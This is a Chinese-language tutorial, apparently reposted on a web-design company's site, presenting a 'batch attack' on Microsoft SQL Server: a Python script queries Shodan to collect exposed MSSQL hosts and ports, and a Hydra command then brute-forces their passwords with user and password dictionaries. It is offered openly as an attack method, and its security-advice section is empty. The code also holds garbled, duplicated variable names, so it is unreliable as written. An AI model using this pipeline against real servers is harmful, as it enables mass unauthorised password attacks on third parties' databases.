SQL Server的弱口令入侵案例层出不穷,利用工具也大量存在,本文以MSSQL服务器为切入点,以解决批量目标发现为目标,介绍了一种基于Shodan Python库的攻击方法。希望能给有类似需求的同学提供参考。
网站的建设创新互联专注网站定制,经验丰富,不做模板,主营网站定制开发.小程序定制开发,H5页面制作!给你焕然一新的设计体验!已为茶楼设计等企业提供专业服务。
一、基本思路
首先利用Shodan的Python库获取并实时处理MSSQL服务器IP及1434端口Banner,得到IP和MSSQL连接端口的组合列表;然后利用Hydra进行字典口令攻击。
二、实现脚本
实现过程详见脚本中的注释
- # -- coding:utf-8 --
- # Python v2.7.10
- # MSSQL.py
- # Written by Gaearrow
- import shodan
- import sys
- # API_KEY
- API_KEY = "YOUR_API_KEY"
- query = "product:\"Microsoft SQL Server\""
- # 处理输入
- if len(sys.argv) != 3:
- print 'Usage: MSSQL.py
' - sys.exit(1)
- pagestart = int(sys.argv[1])
- pageend = int(sys.argv[2])
- try:
- # 初始化输出文件
- ofilename = 'page'+str(pagestart)+'to'+str(pageend)
- ofilesrc = ofilename+'_src.txt'
- ofileip = ofilename+'_ip.txt'
- fsrc = open(ofilesrc,'w')
- fip = open(ofileip,'w')
- # 统计变量
- numofport = 0
- numofnoport = 0
- rstlist = 0
- # 逐页检索
- api = shodan.Shodan(API_KEY)
- rsttotal = api.count(query)
- maxpage = (rsttotal['total']+99)/100
- if pageend > maxpage:
- pageend = maxpage
- for page in range(pagestart,pageend+1):
- result = api.search(query,page)
- for mssql in result['matches']:
- # 从Banner中解析MSSQL的连接端口
- ## 删除换行
- ip = mssql['ip_str'].strip('\n')
- ## Ignore IPv6
- if len(ip) > 15:
- continue
- ## 跳过特殊字符
- banner = mssql['data'][3:]
- ## 检查Banner
- if banner.find('ServerName') < 0:
- continue
- pos = banner.find('tcp;')
- if pos > 0:
- strlist = banner[pos:].split(';')
- if strlist[1].find('np') < 0:
- ### tcp;1234;np;..
- ipipport = ip+':'+strlist[1]
- numofportnumofport = numofport + 1
- else:
- ### tcp;np;..
- ipipport = ip+":1433"
- numofnoportnumofnoport = numofnoport + 1
- else:
- ### no 'tcp;'
- ipipport = ip+":1433"
- numofnoportnumofnoport = numofnoport + 1
- print >>fip,ipport
- print >>fsrc,mssql['ip_str']
- print >>fsrc,mssql['data'][3:]
- rstlistrstlist = rstlist + 1
- # 打印统计信息
- print >>fsrc,'==================================='
- print >>fsrc,'Shodan Summary Information'
- print >>fsrc,'Query : ', query
- print >>fsrc,'Total Results : ', rsttotal['total']
- print >>fsrc,'List Results : ', rstlist
- print >>fsrc,'Page Start : ', pagestart
- print >>fsrc,'Page End : ', pageend
- print >>fsrc,'Port Assigned : ',numofport
- print >>fsrc,'Port Unassigned : ',numofnoport
- print >>fsrc,'==================================='
- except Exception as e:
- print 'Error: %s' % e
- sys.exit(1)
- fsrc.close()
- fip.close()
三、执行示例
1. 执行环境
- root@kali2:~/app/mssqlnew# uname -a
- Linux kali2 4.0.0-kali1-686-pae #1 SMP Debian 4.0.4-1+kali2 (2015-06-03) i686 GNU/Linux
- root@kali2:~/app/mssqlnew# python -V
- Python 2.7.9
2. 获取地址端口组合列表
- root@kali2:~/app/mssqlnew# python MSSQL.py 1 10
page1to10_src.txt
page1to10_ip.txt
3. hydra字典攻击
攻击耗时及成功率与用户、口令字典有紧密关系,网络带宽也影响速度。
root@kali2:~/app/mssqlnew# hydra -L sqluser.dic -P sqlpass.dic -t 30 -M page1to10_ip.txt mssql
四、安全建议
新闻名称:基于ShodanPython库的批量攻击实践
文章分享:http://www.mswzjz.cn/qtweb/news44/236394.html
攀枝花网站建设、攀枝花网站运维推广公司-贝锐智能,是专注品牌与效果的网络营销公司;服务项目有等
声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 贝锐智能